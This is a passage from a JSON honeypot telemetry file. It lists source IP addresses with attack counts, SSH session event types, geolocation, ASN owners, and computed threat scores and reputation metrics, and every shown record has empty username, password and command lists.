        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "167.99.119.168": {
      "attack_count": 4,
      "first_seen": "2026-03-09T05:00:12.873Z",
      "last_seen": "2026-03-09T05:00:21.120Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Clifton",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 8.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-09T05:00:12.873000+00:00",
        "last_seen_30d": "2026-03-09T05:01:23.608000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Cowrie": 4,
        "Honeytrap": 1
      }
    },
    "185.180.141.14": {
      "attack_count": 4,
      "first_seen": "2026-03-21T01:27:25.278Z",
      "last_seen": "2026-03-21T01:27:45.638Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 21859,
      "as_org": "Zenlayer Inc",
      "threat_score": 74.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 17.4,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 55,
        "days_active_30d": 29,
        "ports_targeted_30d": 12,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T05:22:27+00:00",
        "last_seen_30d": "2026-03-30T10:47:23.345000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 35,
        "Honeytrap": 16,
        "Cowrie": 4
      }
    },
    "20.64.105.155": {
      "attack_count": 4,
      "first_seen": "2026-03-12T09:33:46.292Z",
      "last_seen": "2026-03-12T09:33:56.783Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 61.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 15.2,
        "persistence": 21.7,
        "diversity": 14,
        "spread": 20,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 33,
        "days_active_30d": 26,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T23:21:38.772000+00:00",
        "last_seen_30d": "2026-03-27T05:41:08.174000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 20,
        "Honeytrap": 8,
        "Cowrie": 4,
        "Tanner": 1
      }
    },
    "205.210.31.53": {
      "attack_count": 4,
      "first_seen": "2026-03-22T16:55:27.548Z",
      "last_seen": "2026-03-22T16:55:30.937Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 91.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 130,
        "days_active_30d": 30,
        "ports_targeted_30d": 32,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T22:01:31.427000+00:00",
        "last_seen_30d": "2026-03-31T21:57:09.594000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 87,
        "Honeytrap": 37,
        "Cowrie": 4,
        "Dionaea": 1,
        "Tanner": 1
      }
    },
    "45.156.129.71": {
      "attack_count": 4,
      "first_seen": "2026-03-03T02:56:13.872Z",
      "last_seen": "2026-03-03T02:56:37.588Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 211680,
      "as_org": "Sistemas Informaticos, S.A.",
      "threat_score": 74.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 16.5,
        "persistence": 24.2,
        "diversity": 14,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 45,
        "days_active_30d": 29,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-03T02:56:13.872000+00:00",
        "last_seen_30d": "2026-03-31T15:12:56.572000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 28,
        "Honeytrap": 11,
        "Cowrie": 4,
        "H0neytr4p": 2
      }
    },
    "9.234.8.125": {
      "attack_count": 4,
      "first_seen": "2026-03-29T16:52:08.751Z",
      "last_seen": "2026-03-29T16:52:19.290Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 72.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 16.8,
        "persistence": 19.2,
        "diversity": 16,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 48,
        "days_active_30d": 23,
        "ports_targeted_30d": 8,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-09T14:03:58.745000+00:00",
        "last_seen_30d": "2026-03-31T18:44:35.514000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 31,
        "Honeytrap": 12,
        "Cowrie": 4,
        "ElasticPot": 1
      }
    },
    "165.22.151.195": {
      "attack_count": 3,
      "first_seen": "2026-03-14T19:29:11.806Z",
      "last_seen": "2026-03-14T19:29:12.083Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 60.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.2,
        "persistence": 10.0,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 105,
        "days_active_30d": 12,
        "ports_targeted_30d": 32,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-03-14T19:29:11+00:00",
        "last_seen_30d": "2026-03-25T08:14:44.013000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 77,
        "Honeytrap": 20,
        "Cowrie": 3,
        "Ciscoasa": 2,
        "CitrixHoneypot": 1,
        "Dionaea": 1,
        "H0neytr4p": 1
      }
    },
    "65.49.1.52": {
      "attack_count": 3,
      "first_seen": "2026-03-16T06:18:49.952Z",
      "last_seen": "2026-03-16T06:18:49.954Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 292,
        "days_active_30d": 30,
        "ports_targeted_30d": 84,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-03-02T04:00:53+00:00",
        "last_seen_30d": "2026-03-31T03:46:28.374000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 174,
        "Honeytrap": 86,
        "Redishoneypot": 11,
        "Miniprint": 8,
        "Adbhoney": 4,
        "ConPot": 3,
        "Cowrie": 3,
        "Dionaea": 2,
        "ElasticPot": 1
      }
    },
    "1.163.250.164": {
      "attack_count": 2,
      "first_seen": "2026-03-11T10:11:06.094Z",
      "last_seen": "2026-03-11T10:11:19.835Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taipei",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T10:11:06.094000+00:00",
        "last_seen_30d": "2026-03-11T10:12:24.125000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "103.175.172.48": {
      "attack_count": 2,
      "first_seen": "2026-03-23T06:11:21.782Z",
      "last_seen": "2026-03-23T06:11:37.153Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 138277,
      "as_org": "Radinet Info Solutions Private Limited",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T06:11:21.782000+00:00",
        "last_seen_30d": "2026-03-23T06:12:47.127000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "105.102.88.121": {
      "attack_count": 2,
      "first_seen": "2026-03-14T03:56:43.690Z",
      "last_seen": "2026-03-14T03:56:56.806Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Algeria",
      "country_code": "DZ",
      "city": "Kouba",
      "asn": 36947,
      "as_org": "Telecom Algeria",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T03:56:43.690000+00:00",
        "last_seen_30d": "2026-03-14T03:58:05.159000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "113.254.92.190": {
      "attack_count": 2,
      "first_seen": "2026-03-31T13:40:05.586Z",
      "last_seen": "2026-03-31T13:40:17.883Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Tuenmen",
      "asn": 9304,
      "as_org": "HGC Global Communications Limited",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T13:40:05.586000+00:00",
        "last_seen_30d": "2026-03-31T13:41:22.735000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "114.33.180.61": {
      "attack_count": 2,
      "first_seen": "2026-03-10T10:05:47.077Z",
      "last_seen": "2026-03-10T10:06:17.922Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Tainan",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T10:05:47.077000+00:00",
        "last_seen_30d": "2026-03-10T10:07:27.771000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "118.233.164.207": {
      "attack_count": 2,
      "first_seen": "2026-03-23T11:06:31.556Z",
      "last_seen": "2026-03-23T11:07:02.117Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Tainan",
      "asn": 38841,
      "as_org": "kbro CO. Ltd.",
      "threat_score": 13.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T11:06:31.556000+00:00",
        "last_seen_30d": "2026-03-23T11:08:08.822000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "14.177.77.161": {
      "attack_count": 2,
      "first_seen": "2026-03-24T21:12:46.923Z",
      "last_seen": "2026-03-24T21:13:17.541Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Hanoi",
      "asn": 45899,
      "as_org": "VNPT Corp",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T21:12:46.923000+00:00",
        "last_seen_30d": "2026-03-24T21:14:22.042000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "170.64.189.121": {
      "attack_count": 2,
      "first_seen": "2026-03-10T20:32:26.087Z",
      "last_seen": "2026-03-10T20:32:26.088Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 6.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T20:31:36.256000+00:00",
        "last_seen_30d": "2026-03-10T20:33:33.673000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "170.83.126.180": {
      "attack_count": 2,
      "first_seen": "2026-03-19T20:23:14.636Z",
      "last_seen": "2026-03-19T20:23:45.923Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Posadas",
      "asn": 263774,
      "as_org": "MARANDU COMUNICACIONES SOCIEDAD DEL ESTADO",
      "threat_score": 11.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T20:23:14.636000+00:00",
        "last_seen_30d": "2026-03-19T20:24:52.959000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "183.136.255.20": {
      "attack_count": 2,
      "first_seen": "2026-03-11T10:42:46.468Z",
      "last_seen": "2026-03-11T10:43:00.093Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T10:42:46.468000+00:00",
        "last_seen_30d": "2026-03-11T10:44:01.094000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "203.128.10.242": {
      "attack_count": 2,
      "first_seen": "2026-03-10T06:55:43.963Z",
      "last_seen": "2026-03-10T06:55:57.312Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "S\u0101diq\u0101b\u0101d",
      "asn": 134489,
      "as_org": "S. B Link Network",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T06:55:43.963000+00:00",
        "last_seen_30d": "2026-03-10T06:57:05.299000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "206.0.187.33": {
      "attack_count": 2,
      "first_seen": "2026-03-25T03:19:53.564Z",
      "last_seen": "2026-03-25T03:20:06.973Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Cabimas",
      "asn": 271907,
      "as_org": "COLNETWORK C.A.",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-25T03:19:53.564000+00:00",
        "last_seen_30d": "2026-03-25T03:21:13.379000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "213.109.226.18": {
      "attack_count": 2,
      "first_seen": "2026-03-29T04:02:26.105Z",
      "last_seen": "2026-03-29T04:02:56.615Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Ivano-Frankivsk",
      "asn": 47702,
      "as_org": "Teleradiocompany Discovery Ltd.",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-29T04:02:26.105000+00:00",
        "last_seen_30d": "2026-03-29T04:04:01.797000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "218.81.81.163": {
      "attack_count": 2,
      "first_seen": "2026-03-22T02:30:26.664Z",
      "last_seen": "2026-03-22T02:30:41.032Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shanghai",
      "asn": 4812,
      "as_org": "China Telecom Group",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T02:30:26.664000+00:00",
        "last_seen_30d": "2026-03-22T02:31:49.442000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "31.170.116.45": {
      "attack_count": 2,
      "first_seen": "2026-03-17T14:07:51.583Z",
      "last_seen": "2026-03-17T14:08:23.252Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 42526,
      "as_org": "Computer Communication Systems LLC",
      "threat_score": 10.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T14:07:51.583000+00:00",
        "last_seen_30d": "2026-03-17T14:09:29.697000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "45.63.4.110": {
      "attack_count": 2,
      "first_seen": "2026-03-14T18:10:09.737Z",
      "last_seen": "2026-03-14T18:10:40.508Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Piscataway",
      "asn": 20473,
      "as_org": "The Constant Company, LLC",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T18:10:09.737000+00:00",
        "last_seen_30d": "2026-03-14T18:11:43.992000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "5.42.46.193": {
      "attack_count": 2,
      "first_seen": "2026-03-12T05:49:15.672Z",
      "last_seen": "2026-03-12T05:49:29.348Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Kolomna",
      "asn": 39493,
      "as_org": "CJSC Kolomna-Sviaz TV",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T05:49:15.672000+00:00",
        "last_seen_30d": "2026-03-12T05:50:35.476000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "59.115.13.198": {
      "attack_count": 2,
      "first_seen": "2026-03-26T20:55:18.866Z",
      "last_seen": "2026-03-26T20:55:49.462Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Hualien City",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 15.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T20:55:18.866000+00:00",
        "last_seen_30d": "2026-03-26T20:56:56.111000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "59.126.193.88": {
      "attack_count": 2,
      "first_seen": "2026-03-28T00:13:13.775Z",
      "last_seen": "2026-03-28T00:13:44.597Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taichung",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T00:13:13.775000+00:00",
        "last_seen_30d": "2026-03-28T00:14:52.649000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "70.182.254.20": {
      "attack_count": 2,
      "first_seen": "2026-03-08T06:29:41.537Z",
      "last_seen": "2026-03-08T06:29:54.893Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Halstead",
      "asn": 22773,
      "as_org": "Cox Communications Inc.",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T06:29:41.537000+00:00",
        "last_seen_30d": "2026-03-08T06:31:00.252000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
